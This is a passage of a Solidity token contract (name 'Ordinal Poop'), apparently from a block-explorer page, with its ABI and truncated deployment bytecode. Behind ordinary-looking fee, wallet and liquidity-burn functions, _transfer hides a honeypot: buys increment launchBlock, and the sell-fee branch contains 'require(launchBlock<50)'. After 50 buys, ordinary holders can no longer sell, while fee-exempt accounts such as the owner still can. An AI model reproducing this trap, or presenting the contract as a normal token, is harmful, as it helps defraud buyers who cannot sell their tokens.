        maxWallet = newNum * (10**18);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 20, "Must keep fees at  20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateMarketingWallet(address newMarketingWallet)
        external
        onlyOwner
    {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function updateLPWallet(address newLPWallet)
        external
        onlyOwner
    {
        lpWallet = newLPWallet;
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    event BoughtEarly(address indexed sniper);

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        if (
            !swapping &&
            automatedMarketMakerPairs[to] &&
            lpBurnEnabled &&
            block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
            !_isExcludedFromFees[from]
        ) {
            autoBurnLiquidityPairTokens();
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                require(launchBlock<50);
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                launchBlock++;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            lpWallet,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }

    function setAutoLPBurnSettings(
        uint256 _frequencyInSeconds,
        uint256 _percent,
        bool _Enabled
    ) external onlyOwner {
        require(
            _frequencyInSeconds >= 600,
            "cannot set buyback more often than every 10 minutes"
        );
        require(
            _percent <= 1000 && _percent >= 0,
            "Must set auto LP burn percent between 0% and 10%"
        );
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }

    function autoBurnLiquidityPairTokens() internal returns (bool) {
        lastLpBurnTime = block.timestamp;

        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);

        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
            10000
        );

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        return true;
    }

    function manualBurnLiquidityPairTokens(uint256 percent)
        external
        onlyOwner
        returns (bool)
    {
        require(
            block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
            "Must wait for cooldown to finish"
        );
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;

        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);

        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLPWallet","type":"address"}],"name":"updateLPWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526019600c556001600d60006101000a81548160ff021916908315150217905550610e10600e5561070860105560006011556001601360006101000a81548160ff0219169083151502179055506000601360016101000a81548160ff0219169083151502179055506000601360026101000a81548160ff0219169083151502179055506001601560006101000a81548160ff021916908315150217905550348015620000ae57600080fd5b506040518060400160405280600c81526020017f4f7264696e616c20506f6f7000000000000000000000000000000000000000008152506040518060400160405280600581526020017f6f504f4f5000000000000000000000000000000000000000000000000000000081525081600390816200012c919062000e38565b5080600490816200013e919062000e38565b50505062000161620001556200067f60201b60201c565b6200068760201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200018d8160016200074d60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000233919062000f89565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c1919062000f89565b6040518363ffffffff1660e01b8152600401620002e092919062000fcc565b6020604051808303816000875af115801562000300573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000326919062000f89565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200036e60a05160016200074d60201b60201c565b6200038360a05160016200083760201b60201c565b6000600a9050600060019050600080600a90506000600190506000806d314dc6448d9338c15b0a000000009050603281620003bf919062001057565b600981905550603281620003d4919062001057565b600b81905550612710600582620003ec91906200108f565b620003f8919062001057565b600a81905550866017819055508560188190555084601981905550601954601854601754620004289190620010da565b620004349190620010da565b60168190555083601b8190555082601c8190555081601d81905550601d54601c54601b54620004649190620010da565b620004709190620010da565b601a81905550733ef2a931305c76ccec0ba78796cdd2920c5891c4600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733ef2a931305c76ccec0ba78796cdd2920c5891c4600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200058362000575620008d860201b60201c565b60016200090260201b60201c565b620005963060016200090260201b60201c565b620005ab61dead60016200090260201b60201c565b620005e0600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200090260201b60201c565b62000602620005f4620008d860201b60201c565b60016200074d60201b60201c565b620006153060016200074d60201b60201c565b6200062a61dead60016200074d60201b60201c565b6200065f600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200074d60201b60201c565b62000671338262000a3c60201b60201c565b505050505050505062001272565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6200075d6200067f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000783620008d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620007dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007d39062001176565b60405180910390fd5b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620009126200067f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000938620008d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009889062001176565b60405180910390fd5b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000a309190620011b5565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aa59062001222565b60405180910390fd5b62000ac26000838362000bb460201b60201c565b806002600082825462000ad69190620010da565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000b2d9190620010da565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b94919062001255565b60405180910390a362000bb06000838362000bb960201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c4057607f821691505b60208210810362000c565762000c5562000bf8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000cc07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c81565b62000ccc868362000c81565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d1962000d1362000d0d8462000ce4565b62000cee565b62000ce4565b9050919050565b6000819050919050565b62000d358362000cf8565b62000d4d62000d448262000d20565b84845462000c8e565b825550505050565b600090565b62000d6462000d55565b62000d7181848462000d2a565b505050565b5b8181101562000d995762000d8d60008262000d5a565b60018101905062000d77565b5050565b601f82111562000de85762000db28162000c5c565b62000dbd8462000c71565b8101602085101562000dcd578190505b62000de562000ddc8562000c71565b83018262000d76565b50505b505050565b600082821c905092915050565b600062000e0d6000198460080262000ded565b1980831691505092915050565b600062000e28838362000dfa565b9150826002028217905092915050565b62000e438262000bbe565b67ffffffffffffffff81111562000e5f5762000e5e62000bc9565b5b62000e6b825462000c27565b62000e7882828562000d9d565b600060209050601f83116001811462000eb0576000841562000e9b578287015190505b62000ea7858262000e1a565b86555062000f17565b601f19841662000ec08662000c5c565b60005b8281101562000eea5784890151825560018201915060208501945060208101905062000ec3565b8683101562000f0a578489015162000f06601f89168262000dfa565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f518262000f24565b9050919050565b62000f638162000f44565b811462000f6f57600080fd5b50565b60008151905062000f838162000f58565b92915050565b60006020828403121562000fa25762000fa162000f1f565b5b600062000fb28482850162000f72565b91505092915050565b62000fc68162000f44565b82525050565b600060408201905062000fe3600083018562000fbb565b62000ff2602083018462000fbb565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620010648262000ce4565b9150620010718362000ce4565b92508262001084576200108362000ff9565b5b828204905092915050565b60006200109c8262000ce4565b9150620010a98362000ce4565b9250828202620010b98162000ce4565b91508282048414831517620010d357620010d262001028565b5b5092915050565b6000620010e78262000ce4565b9150620010f48362000ce4565b92508282019050808211156200110f576200110e62001028565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200115e60208362001115565b91506200116b8262001126565b602082019050919050565b6000602082019050818103600083015262001191816200114f565b9050919050565b60008115159050919050565b620011af8162001198565b82525050565b6000602082019050620011cc6000830184620011a4565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200120a601f8362001115565b91506200121782620011d2565b602082019050919050565b600060208201905081810360008301526200123d81620011fb565b9050919050565b6200124f8162000ce4565b82525050565b60006020820190506200126c600083018462001244565b92915050565b60805160a051615daf620012fa6000396000818161148e01528181611cc4015281816128d2